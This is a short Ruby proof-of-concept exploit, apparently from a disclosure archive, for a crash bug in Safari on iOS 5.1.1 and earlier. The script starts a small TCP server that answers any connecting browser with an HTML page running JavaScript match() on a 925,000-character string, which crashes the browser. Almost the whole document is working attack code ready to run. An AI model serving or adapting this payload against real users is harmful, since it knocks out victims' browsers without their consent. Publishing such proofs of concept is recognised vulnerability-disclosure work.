iOS versions 5.1.1 and below Safari Browser JS match(), search() crash proof of concept exploit.
88bf13ee6936fd4a41664c0ccb5fe91fdf90eb621dae78246483afea0a274ca3#!/usr/bin/env ruby
# - Title
# iOS <= v5.1.1 Safari Browser JS match(), search() Crash PoC
# - Author
# Alberto Ortega @a0rtega
# alberto[@]pentbox[.]net
# - Summary
# A vulnerability has been discovered in Apple Safari Browser
# included in the last version of iOS (5.1.1).
#
# Previous versions may be affected too.
#
# When JavaScript function match() gets a big buffer as
# parameter the browser unexpectedly crashes.
#
# By extension, the function search() is affected too.
#
# Tested on iOS 5.0.1, 5.1.0, 5.1.1
# Tested on iPod Touch, iPhone and iPad iOS devices.
require "socket"
require "optparse"
# Buffer values
chr = "A"
# The size of buffer needed may vary depending
# on the device and the iOS version.
buffer_len = 925000
# Magic packet
body = "\
<html>\n\
<head><title>Crash PoC</title></head>\n\
<script type=\"text/javascript\">\n\
var s = \"poc\";\n\
s.match(\"#{chr*buffer_len}\");\n\
</script>\n\
</html>";
def help()
puts "iOS <= v5.1.1 Safari Browser JS match(), search() Crash PoC"
puts "#{$0} -p bind_port [-h bind_address] [--verbose]"
end
# Parsing options
opts = {}
optparser = OptionParser.new do |op|
op.on("-h", "--host HOST") do |p|
opts["host"] = p
end
op.on("-p", "--port PORT") do |p|
opts["port"] = p
end
op.on("-v", "--verbose") do |p|
opts["verbose"] = true
end
end
begin
optparser.parse!
rescue
help()
exit 1
end
if (opts.length == 0 || opts["port"] == nil)
help()
exit 1
end
if (opts["verbose"] != nil)
debug = true
else
debug = false
end
if (opts["host"] != nil)
host = opts["host"]
else
host = "0.0.0.0"
end
port = opts["port"]
# Building server
if debug
puts "Buffer -> #{chr}*#{buffer_len}"
end
begin
serv = TCPServer.new(host, port)
puts "Listening on #{host}:#{port.to_s} ..."
rescue
puts "Error listening on #{host}:#{port.to_s}"
exit 1
end
begin
s = serv.accept()
if debug
puts "Client connected, waiting petition ..."
end
data = s.recv(1000)
if debug
puts "Sending crafted packet ..."
end
s.print(body)
if debug
puts "Closing connection ..."
end
s.close()
puts "Done!"
rescue
puts "Error sending data"
exit 1
end
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